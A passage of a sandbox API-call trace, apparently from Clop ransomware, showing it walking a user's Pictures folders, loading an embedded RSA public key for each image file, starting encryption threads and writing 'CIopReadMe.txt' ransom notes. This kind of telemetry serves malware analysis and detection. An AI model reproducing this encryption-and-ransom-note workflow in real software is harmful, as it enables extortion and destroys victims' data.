MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.044] lstrcpyW (in: lpString1=0x2dc06c6, lpString2="uOf1gCg-syx.bmp" | out: lpString1="uOf1gCg-syx.bmp") returned="uOf1gCg-syx.bmp" [0099.044] lstrcpyW (in: lpString1=0x2dc02c6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0099.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0099.044] SetErrorMode (uMode=0x1) returned 0x1 [0099.044] wsprintfW (in: param_1=0x2dbfd2c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\CIopReadMe.txt") returned 112 [0099.044] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0099.044] CloseHandle (hObject=0x588) returned 1 [0099.044] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.044] lstrcmpW (lpString1="xBTg.bmp", lpString2="..") returned 1 [0099.044] lstrcmpW (lpString1="xBTg.bmp", lpString2=".") returned 1 [0099.044] wsprintfW (in: param_1=0x2dc0d20, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned 102 [0099.045] Sleep (dwMilliseconds=0xd) [0099.076] lstrcpyA (in: lpString1=0x2dc0168, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.076] lstrcpyW (in: lpString1=0x2dc06c6, lpString2="xBTg.bmp" | out: lpString1="xBTg.bmp") returned="xBTg.bmp" [0099.076] lstrcpyW (in: lpString1=0x2dc02c6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0099.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0099.076] SetErrorMode (uMode=0x1) returned 0x1 [0099.076] wsprintfW (in: param_1=0x2dbfd2c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\CIopReadMe.txt") returned 112 [0099.076] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0099.076] CloseHandle (hObject=0x598) returned 1 [0099.077] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0099.077] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 1 [0099.077] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 0 [0099.077] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0099.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0099.077] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x648fb8 [0099.077] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0099.077] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0099.077] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0099.077] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.077] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.077] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.077] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.077] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.077] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.078] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0099.078] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 1 [0099.078] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 0 [0099.078] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0099.078] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0099.078] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0099.078] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0099.078] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0099.078] lstrcmpW (lpString1="xDtCMA3q", lpString2="..") returned 1 [0099.078] lstrcmpW (lpString1="xDtCMA3q", lpString2=".") returned 1 [0099.078] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0099.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0099.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0099.078] SetErrorMode (uMode=0x1) returned 0x1 [0099.078] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0099.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.078] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0099.078] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x648fb8 [0099.078] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0099.078] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0099.078] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.078] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.078] lstrcmpW (lpString1="-Z88RWVEKHn2YHbC6YS.gif", lpString2="..") returned 1 [0099.078] lstrcmpW (lpString1="-Z88RWVEKHn2YHbC6YS.gif", lpString2=".") returned 1 [0099.078] wsprintfW (in: param_1=0x2dc0d20, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned 92 [0099.078] Sleep (dwMilliseconds=0xd) [0099.144] lstrcpyA (in: lpString1=0x2dc0168, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.144] lstrcpyW (in: lpString1=0x2dc06c6, lpString2="-Z88RWVEKHn2YHbC6YS.gif" | out: lpString1="-Z88RWVEKHn2YHbC6YS.gif") returned="-Z88RWVEKHn2YHbC6YS.gif" [0099.144] lstrcpyW (in: lpString1=0x2dc02c6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0099.144] WaitForSingleObject (hHandle=0x590, dwMilliseconds=0xffffffff) returned 0x0 [0099.303] SetErrorMode (uMode=0x1) returned 0x1 [0099.303] wsprintfW (in: param_1=0x2dbfd2c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\CIopReadMe.txt") returned 102 [0099.303] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.304] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0099.304] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0099.304] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0099.304] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0099.304] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0099.304] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a8 [0099.304] WriteFile (in: hFile=0x5a8, lpBuffer=0x653e68*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dbfd24, lpOverlapped=0x0 | out: lpBuffer=0x653e68*, lpNumberOfBytesWritten=0x2dbfd24*=0x759, lpOverlapped=0x0) returned 1 [0099.305] CloseHandle (hObject=0x5a8) returned 1 [0099.305] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.305] lstrcmpW (lpString1="h72I_b.bmp", lpString2="..") returned 1 [0099.305] lstrcmpW (lpString1="h72I_b.bmp", lpString2=".") returned 1 [0099.305] wsprintfW (in: param_1=0x2dc0d20, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned 92 [0099.305] Sleep (dwMilliseconds=0xd) [0099.326] lstrcpyA (in: lpString1=0x2dc0168, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.326] lstrcpyW (in: lpString1=0x2dc06c6, lpString2="h72I_b.bmp" | out: lpString1="h72I_b.bmp") returned="h72I_b.bmp" [0099.326] lstrcpyW (in: lpString1=0x2dc02c6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0099.326] SetErrorMode (uMode=0x1) returned 0x1 [0099.326] wsprintfW (in: param_1=0x2dbfd2c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\CIopReadMe.txt") returned 102 [0099.326] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac [0099.326] CloseHandle (hObject=0x5ac) returned 1 [0099.327] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.327] lstrcmpW (lpString1="itHSyuXpEG8bbygGV.jpg", lpString2="..") returned 1 [0099.327] lstrcmpW (lpString1="itHSyuXpEG8bbygGV.jpg", lpString2=".") returned 1 [0099.327] wsprintfW (in: param_1=0x2dc0d20, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned 92 [0099.327] Sleep (dwMilliseconds=0xd) [0099.373] lstrcpyA (in: lpString1=0x2dc0168, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END 